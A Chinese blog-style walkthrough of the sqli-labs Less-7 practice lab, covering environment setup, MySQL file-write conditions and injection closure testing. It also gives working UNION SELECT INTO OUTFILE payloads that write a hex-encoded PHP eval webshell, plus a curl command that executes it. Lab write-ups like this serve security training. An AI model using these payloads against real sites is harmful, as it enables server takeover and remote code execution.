sql-labs Less-7 文件写入注入实战:从原理到写入Webshell 📅 发布时间:2026/9/11 21:08:49 👁 浏览次数: 1. 靶场环境搭建把 sql-labs 跑起来sql-labs 是一套开源的 SQL 注入专项练习靶场作者是印度安全研究人员专门用来练习各种注入场景。独立安装完这套环境你会拥有整整 76 个难度递增的注入关卡从最简单的数字型注入一直打到堆叠注入、时间盲注覆盖了日常工作里八成以上的注入场景。而 less-7 是其中比较特殊的一关它的核心考点是“利用文件读写功能拿服务器权限”这关的思路跟前面关卡明显不同值得单独拿出来讲透。先说环境基线。sql-labs 官方推荐在 PHP 5.6 Apache MySQL 5.x 的环境下跑但我实测过 PHP 7.4 甚至 PHP 8.0 也都能跑起来只是少部分关卡会有兼容性小毛病。最省事的方案是直接用集成环境Windows 下推荐 phpstudymacOS 下用 MAMP 或者 Docker都能在十分钟内把整套靶场拉起来。我用的是 Docker 方案直接拉取现成镜像省去手动配 PHP 和 MySQL 的折腾docker pull docker.io/audihbk/fausg:sqli-labs docker run -dt --name sqli-labs -p 8088:80 audihbk/fausg:sqli-labs这个镜像自动配好了 Apache PHP 5.6 MySQL 5.5打开 http://localhost:8088 就能看到 sql-labs 的入口页面。如果你没有 Docker也可以手动把源码放到 Web 根目录然后导入sql-labssql-connectionsdb-creds.inc里配置的数据库文件。数据库默认账户是root默认密码为空账户密码在sql-connectionsdb-creds.inc文件里需要改就直接改这个文件。靶场跑稳之后我习惯先用一句话验证环境是否健康随意打开 less-1在 URL 后面加一个单引号如果页面报错并显示出 SQL 语句片段说明环境没问题。这一步 30 秒就能完成可以省掉后面排查环境故障的大量时间。2. 先弄清 less-7 在考什么文件写入型注入的原理2.1 less-7 与其他关卡的差别前六关虽然闭合方式各不相同但最终目标都是通过联合查询或者报错注入把数据库里的数据“读”出来。less-7 不一样从提示页就能看出来这关给了一句USE OUTFILE意思很明确此关考核的是把数据“写”到服务器文件里。很多新手到这关会卡住觉得无从下手——报错注入不回显联合查询也没结果。其实思路要掉个头既然读不出来那就写进去。MySQL 的INTO OUTFILE语法可以把查询结果直接导出成一个文本文件如果我们能控制导出的内容就能在服务器上写入一个包含 PHP 代码的 webshell 文件从而获得服务器权限。这就是为什么 less-7 在 sql-labs 系列里被单独拎出来讲它第一次把注入从“读数据”升级到了“写文件、拿权限”思路上的突破比技术本身更值钱。2.2 MySQL 文件写入权限必须满足的条件在动手之前先把INTO OUTFILE的门槛搞清楚否则后面全是白费功夫当前数据库用户必须有 FILE 权限MySQL 的FILE权限决定了用户能不能执行SELECT ... INTO OUTFILE这类文件操作。sql-labs 默认连接数据库用的是 root 用户完整权限所以这个条件是满足的。secure_file_priv参数不能限制写入路径MySQL 5.6 及以后版本引进了secure_file_priv参数它限制了文件读写的目录。值为NULL时表示完全禁止文件读写值为空字符串时表示不做限制指定路径时则只能在指定路径下读写。Web 进程必须对所写目录有写权限落地文件的操作是 MySQL 进程发起的但文件最终要能被 Web 服务解析所以目录的权限要同时兼容 MySQL 写入和 Apache/Nginx 读取。这三个条件缺一个都不行。sql-labs 默认环境前两个条件都满足我们在实战里则需要通过 SQL 语句确认权限再选择可写目录。2.3 常见环境里 secure_file_priv 的真实表现MySQL 5.5 及更早版本里基本不存在secure_file_priv的困扰默认就能文件读写。MySQL 5.6 到 5.7 的默认值是空字符串也不限制。MySQL 8.0 开始默认值为NULL文件读写默认全禁需要在配置文件里手动放开。在 less-7 的 Docker 镜像里用的是 MySQL 5.5所以不会碰到这个限制。但如果你是自己在生产环境复现类似测试一定要先用 SQL 确认这个参数确认方式如下SHOW VARIABLES LIKE secure_file_priv;显示为空字符串表示任意路径可写显示为具体路径则只能在那个目录下写文件显示为 NULL则需要修改 MySQL 配置文件并重启服务。判断完这一步再决定后面往哪里写 shell。3. 从探测到写入less-7 的手工注入完整思路3.1 信息收集锁定 Web 根目录距离真正注入之前先花一分钟定位网站的绝对路径。这一步非常重要INTO OUTFILE写入的必须是服务器上的绝对路径路径错了直接失败。sql-labs 由于是开源的源码里就带着路径线索比如用浏览器访问/sql-labs/images/或者看页面底部源码区通常能直接看到物理路径。如果是真实环境的测试定位 Web 根目录的常见方法还有几条看报错信息里泄露的物理路径、用phpinfo()页面、看网站响应头里的X-Powered-By配套信息、或者利用link和script标签里 CSS/JS 文件的 URL 反推目录结构。在 less-7 场景下源码默认放在 Web 根目录下因此靶场环境的绝对路径是/var/www/html/或者/var/www/sql-labs/这类形式。后面写 webshell 的时候这个路径就是最终INTO OUTFILE的目标路径。3.2 判断注入类型和闭合方式less-7 的源码里查询语句是这样写的$sqlSELECT * FROM users WHERE id($id) LIMIT 0,1;注意看这里的参数$id被一对单引号和一对圆括号包住。也就是说我们的输入最终会拼进(输入内容)这个结构里。要打破这个结构需要把左括号和单引号都闭合掉对应的闭合字符是))。我们来验证一下。先提交正常参数?id1页面显示You are in... Use outfile说明存在查询。接着提交?id1页面没有报错信息因为代码里对错误做了静默处理这跟 less-6 的报错回显不同。再提交?id1))如果页面仍然能正常返回或者通过条件判断出现不同响应就说明))确实是闭合方式。为了确认闭合方式可以用一个经典技巧构造恒真和恒假的查询条件观察页面是否出现差异。?id1)) AND 11-- ?id1)) AND 12--第一条正常显示第二条无内容返回说明我们的闭合符用对了注入点成立。如果你看到两种响应没有任何差异别急着下结论先检查--在 URL 里是否被正确传递号在部分环境里会被解码成空格这是常见坑。3.3 手工 UNION 探测字段数为什么 less-7 不适合联合注入既然闭合方式已经理清很多人会顺手走联合注入的老路先ORDER BY数一下字段数?id1)) ORDER BY 3-- ?id1)) ORDER BY 4--当ORDER BY 4出现异常时说明字段总数是 3。但这关的问题不是字段数而是页面本身不展示查询结果。代码里只是执行了 SQL但没有把查询结果显示到前端所以联合注入根本看不到回显。这也是 less-7 的核心教学点不是所有注入都要靠前端的“眼睛”获取数据。此时INTO OUTFILE就派上用场了。联合查询的回显虽然不显示在页面上但可以写到文件里所以这关的最终解法是联合查询加上INTO OUTFILE。3.4 构造写文件的注入载荷确认闭合方式后我习惯先用一个无伤大雅的写文件测试来验证路径和权限。例如尝试把hello sqli写到网站根目录下的test.txt?id1)) UNION SELECT 1,2,3 INTO OUTFILE /var/www/html/test.txt--这里的1,2,3对应联合查询的 3 列内容无所谓写入文件的每一行就是查询结果。执行后再访问http://localhost:8088/test.txt如果能看到1 2 3或者类似内容说明写文件这条路是通的。接下来直接写一句话 webshell。为了方便菜刀或冰蝎连接我把一句话木马写入一个 PHP 文件里。这里的核心技巧是用0x十六进制编码避免字符串里的引号打架。因为这句话里本身含有单引号直接拼进 SQL 语句会造成语法冲突十六进制编码是更稳妥的处理方式。以?php eval($_POST[cmd]);?为例先把它转成十六进制3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e然后用下面的载荷写入?id1)) UNION SELECT 1,2,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e INTO OUTFILE /var/www/html/shell.php--写完之后直接访问http://localhost:8088/shell.php页面如果是空白的先别慌这正常。用菜刀或者直接用 POST 请求提交一句话数据验证curl -X POST http://localhost:8088/shell.php -d cmdphpinfo();返回了 phpinfo 的页面内容说明 webshell 已经成功落地并执行整条链路打通了。4. 核心实操细节写文件时最容易翻车的五个位置4.1 引号与特殊字符的规避写文件载荷里最烦人的是引号冲突。less-7 的注入点本身是在单引号内如果我们要写入的内容里再出现单引号SQL 语句就很容易被截断或者报错。上面用十六进制编码解决的就是这个问题写入内容先转十六进制数据库解码后再落地为原文全程不碰引号。如果你不想每次都手动转可以用 MySQL 自带的CHAR()函数拼字符串CHAR(60,63,112,104,112)能拼出?php原理类似但更灵活。还有一种方案是用0x...直接拼我个人的习惯是十六进制优先它简单直观也方便批量生成不同内容。4.2 必须用绝对路径别写相对路径INTO OUTFILE不支持相对路径这是 MySQL 的硬性规则。写文件时必须给出服务器的绝对路径比如/var/www/html/shell.php不能写./shell.php或者shell.php。写完路径后我习惯顺手在路径后面加一个不存在的文件名来测试目录存在性比如先写test.txt能生成就说明路径可写、目录存在再正式写 shell 文件。4.3 注意写入内容与查询结果的关系很多新手有个误解INTO OUTFILE写入的是查询结果不是任意字符串。所以如果你构造的是UNION SELECT 1,2,3 INTO OUTFILE ...文件内容就是三行分别是 1、2、3。想写入 PHP 代码必须把 PHP 代码作为 SELECT 的返回值。更隐蔽的坑是如果查询本来会返回多行文件里会写入多行内容PHP 代码如果被拆成多行部分场景下脚本仍能运行但存在被截断的风险。我的经验是始终让 UNION 前面的查询返回空结果也就是用id-1这类不存在的数据去触发查询保证写入文件的内容完全由我们自己控制。4.4 Windows 与 Linux 路径写法的差异sql-labs 的实战环境里win 和 Linux 的路径写法完全不同。Windows 下典型的路径是C:/phpstudy_pro/WWW/shell.php注意斜杠方向。很多人习惯写成反斜杠C:\phpstudy_pro\WWW\shell.php这在 SQL 字符串里会被解析成转义字符导致路径错误。我建议统一用正斜杠/来写 Windows 路径MySQL 对正斜杠的解析是没问题的。Linux 下则没有这个问题直接/var/www/html/shell.php就好。4.5 写入权限不足时的应急思路如果测试发现网站根目录写不进去比如目录权限是www-data用户只读不要急着放弃。一个常见思路是尝试写入/tmp/目录验证 MySQL 的写权限是否正常排除是路径问题还是权限问题。另一个思路是翻其他的可写目录比如上传目录、缓存目录这些目录通常对 Web 进程可写。真正到了真实环境open_basedir也会限制 PHP 能访问的文件范围。如果目标站点开了open_basedir且没有包含我们写入的目录就算 shell 落地了也可能无法被解析执行。这种情况下需要先确认 PHP 配置再决定是否换个目录。5. 常见报错与排查实录5.1 写文件后访问返回 0 字节或 404这个情况十有八九是路径不对。先确认文件有没有生成如果路径写错了MySQL 会直接报错如果路径正确但文件是空的说明查询结果没数据检查 UNION 前面的id值是不是存在的记录如果存在就改成-1或者一个表里不存在的值。如果访问返回 404说明文件根本没有落在 Web 目录下检查是否把路径写成了数据库所在机器的路径而不是 Web 服务器的路径。5.2 页面显示The used SELECT statements have a different number of columns这个报错是联合查询的字段数不一致。less-7 的原始查询是 3 列所以 UNION 后面的 SELECT 也必须写 3 列。如果你图省事写了SELECT 1,2就会触发这个错误。换成SELECT 1,2,3即可。5.3 提示Access denied for user ... to database mysql这个报错一般不是你当前数据库没权限而是INTO OUTFILE被禁用的典型表现。重点回查第 2 节里secure_file_priv的三个条件多半是secure_file_priv限制了路径。临时解法是在 MySQL 配置里加一行[mysqld] secure_file_priv然后重启 MySQL 服务。注意这个操作仅限你本地靶场练习环境生产环境我反对为了测试去改动全局配置。5.4 尝试时间盲注或报错注入失败怀疑自己判断错了闭合方式less-7 只要最开始确认好闭合方式后面基本不会走偏。如果你在找闭合方式时反复碰壁我建议你直接看源码less-7 因为是从 sqli-labs 源码就能确认的所以不存在不可能的情况。源码文件在sql-labs/Less-7/index.php打开能看到查询语句的真实写法闭合符一眼就能确定。为了不过度依赖源码多试几种组合是值得的、、)、))、、)、))用AND 11和AND 12的响应差异来辅助判断。大多数难关其实不是注入难点而是闭合符没判定准导致的。5.5 写 PHP shell 后连接不上菜刀/冰蝎连接不上常见的原因有五个文件没有成功写入先访问文件看是否 404PHP 代码被某种方式转义或过滤了访问文件查看源码内容路径没对上确认写的是 Web 根目录下的绝对路径目标 PHP 版本不支持eval或短标签换一句话格式一句话密码写错POST 参数cmd和代码里的数组 key 不一致。我见过不少人在 Windows 的 phpstudy 里练习路径写成了/var/www/html/但本地根本没有这个目录导致文件全被写到了 MySQL 的数据目录里访问自然全部 404。先确认系统类型和 Web 根目录再写路径问题就解决了一半。6. 收个尾从 less-7 往后怎么继续深入less-7 练完后我建议你带着文件写入的思路回头重新刷一遍前面的关卡。你会发现一个很有意思的现象很多“无回显”的场景其实都可以用INTO OUTFILE来旁路解决前提是数据库权限够、路径可写。这个思路在真实环境里的价值是它不仅是课程题目更是在提醒你注入的影响面远不止“查数据”这么简单。往后继续学习的话less-8 是时间盲注less-9 是单引号时间盲注less-10 是双引号时间盲注这三关又是另一套思路。当你把 less-1 到 less-10 全部过完再去刷 less-11 到 less-22 的 POST 型注入注入体系的框架就算真正立住了。最后分享一个我这几年测试注入最深的体会不管题型怎么变先确定闭合方式、再确定回显方式、最后确认数据库权限这个顺序千万不要乱。less-7 这关如果硬要用联合查询去怼回显你会被卡很久一旦换到“读不出来就写进去”的思路十秒钟就能破局。这种思维上的转变比记住某一条 payload 有用得多。